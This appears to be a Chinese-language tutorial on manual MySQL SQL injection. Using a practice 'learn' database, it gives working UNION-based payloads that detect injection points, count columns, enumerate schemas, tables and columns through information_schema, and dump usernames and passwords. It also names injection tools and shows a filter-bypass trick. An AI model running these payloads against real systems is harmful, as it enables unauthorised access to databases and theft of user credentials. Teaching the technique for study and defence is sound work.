1.1 什么是 sql?

SQL（structured query language），即结构化查询语言，是关系数据库的标准语言，SQL 是一个通用的、功能强大的关系数据库语言，但其功能并不仅仅是查询。

1.2 mysql

MySQL 是一个关系型数据库管理系统，由瑞典 MySQL AB 公司开发，目前属于 Oracle 旗下产品。另外，MySQL 是一种关联数据库管理系统，关联数据库将数据保存在不同的表中，而不是将所有数据放在一个大仓库内，这样就增加了速度并提高了灵活性。

2.1 什么是 SQL 注入

所谓 SQL 注入，就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的 SQL 命令。简单来说，SQL 注入就是一种通过操作输入（可以是表单，可以是 get 请求，也可以是 POST 请求等）来插入或修改后台 SQL 语句达到代码执行从而进行攻击的技术。

2.2 SQL 注入攻击产生的原因

出现 SQL 注入攻击漏洞的主要原因是：许多网页程序员在编写代码的时候，*没有对用户输入数据的合法性进行严格的判断和过滤，*从而导致应用程序存在该漏洞。

2.3 mysql 注入攻击的方法

对于 mysql 注入常用的方法主要是以下两种：

（1）手工注入。

（2）使用工具注入

2.4 mysql 手工注入原理

在 mysql 手工注入中主要是利用 mysql 自带的 information_schema 数据库，information_schema 这个数据库保存了 MySQL 服务器所有数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权限等。简单点说，这台 MySQL 服务器上，到底有哪些数据库、各个数据库有哪些表，每张表的字段类型是什

么，各个数据库要什么权限才能访问，等等信息都保存在 information_schema 数据库里面。

3.1 基本环境介绍

涉及数据库：learn，涉及表：users。

表 users

3.2 判断注入点

and 1=1（正常显示）， and 1=2（非正常显示），但不限于此。也可以是 3>1（正常显示），3>5（非正常显示）等。

3.2.1 判断 uid 是否存在注入点

本身查询语句为：SELECT uid,username FROM users WHERE uid=1

3.2.2 判断原理

SELECT uid,username FROM users WHERE uid=1 and 1=1

正常显示

SELECT uid,username FROM users WHERE uid=1 and 1=2

非正常显示

3.3 查字段数

3.3.1 order by 排序

order by 主要是用于排序，用法基本为：order by <列名> [ASC | DESC]

列名可以是 select 后面的列名，也可以是数字，代表第一列或第几列！查询字段数也是根据 order by 排序的列名可以是数字来进行判断的。

3.3.2 查当前查询中的字段数

本身查询语句：SELECT uid,username,phone FROM users WHERE uid=1

本身查询结果

查当前字段数目（列数)：order by

SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 3

正常显示

SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 4

非正常显示

因为当前页面查询的语句中只查询三个字段，所以当输入按照第四列来进行排序是就会出现异常。所以我们可用通过折半来进行查询列数，前一个正常，后一个异常，那么该正常的就是当前查询中的列数。

3.4 查询字段在页面中的显示位置

联合查询数据显示位置，不成立条件+union select（如果前面是成立的话页面中会看不到想要的信息)，也可以是 前面条件不变+union select + limit

m,1。(如果看到页面中信息有 union select 查询中的数字时，那么也是可以看到字段显示在页面中的位置，但是如果查询信息过多的话则不适用，因此推荐使用前面的那种方式)。

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,3

显示查询字段在页面中的位置

3.5 查询基本信息

查询基本信息主要是利用数据库中的内置函数来获取信息。

1. version()——MySQL 版本

2. user()——用户名

3. database()——数据库名

4. @@datadir——数据库路径

5. @@version_compile_os——操作系统版本

我们可以通过将对应函数放到页面显示位中的位置数来查出相应信息并显示在页面中。

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT VERSION(),user(),database()

查询基本信息

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT @@datadir,@@version_compile_os,database()

另外，我们可以使用字符串连接函数一次性查询多条信息：

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,group_concat(version(),0x3B,user(),0x3B,database(),0x3B,@@datadir,0x3B,@@version_compile_os)

0x3B 是分隔符，；的十六进制！

使用连接函数查询多条信息

连接函数例子

高级查数据库：

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 9,1

LIMIT 9，1 是从第 9 个数据库开始查询一条记录，使用这个可以逐个查询数据库中有哪些数据库。

高级查数据库

只运行：SELECT 1,2,SCHEMA_name from information_schema.SCHEMATA LIMIT 8,3

limit m,n 例子

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA

查询当前连接中有哪些数据库

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.COLUMNS

查询当前连接中有哪些数据库

3.6 查表名

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=learn)a

转化为十六进制

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E)a

查询指定数据库表名

只运行 SELECT * FROM information_schema.tables WHERE TABLE_SCHEMA=0x6C6561726E

高级查表

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

高级查表

3.7 查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a

查字段

这里可通过 limit m,n 循环查询，也可使用 GROUP_CONCAT 函数一次性查询。

一次性查询

只运行 SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E AND TABLE_NAME=0x7573657273

原理

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,PRIVILEGES,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a

原理

这里可以使用 limit m,n 来逐个（limit m,1）查询。

高级查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273

查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273

3.8 查字段内容

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,username FROM users

这里可使用 limit m,1 来逐个查询，也可以使用 GROUP_CONCAT 函数一次性查询。

使用连接函数

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(uid,0x3B,username,0x3B,password) FROM users

连接函数一次性查询

对于使用工具来进行注入，最好时首先手工判断下，如果是或者怀疑是，那么就可以丢给工具来进行注入。

4.1 SQL 注入工具

工具有但不限于以下几种：sqlmap，BSQL、the mole、pangolin、enema sqli、SQLninja、sqlsus、safe3 sql injector、sql poizon、啊 D、Havij、HDSI3.0、NBSI 等。

4.2 工具注入优缺点

工具注入是可以节省很多时间，但是仅仅靠工具也不一定能利用该漏洞，因为工具有自己的局限性，不如手工那么灵活，简单来说，如果应用程序有了一定的过滤，那么就需要灵活地使用手工注入，如果程序在把查询语句插入到数据库中时把<>过滤了，那么就可以根据这一特性进行简单的绕过，如u<>ni<>on s<>el<>ect 1,2,3。

information_schema 简单介绍

用于加深对上面涉及到的相关信息的理解。详细信息请自行查看information_schema 数据库里面涉及的相关表信息!

information_schema

information_schema.columns

information_schema.schemata

information_schema.processlist

information_schema.tables

information_schema.partitions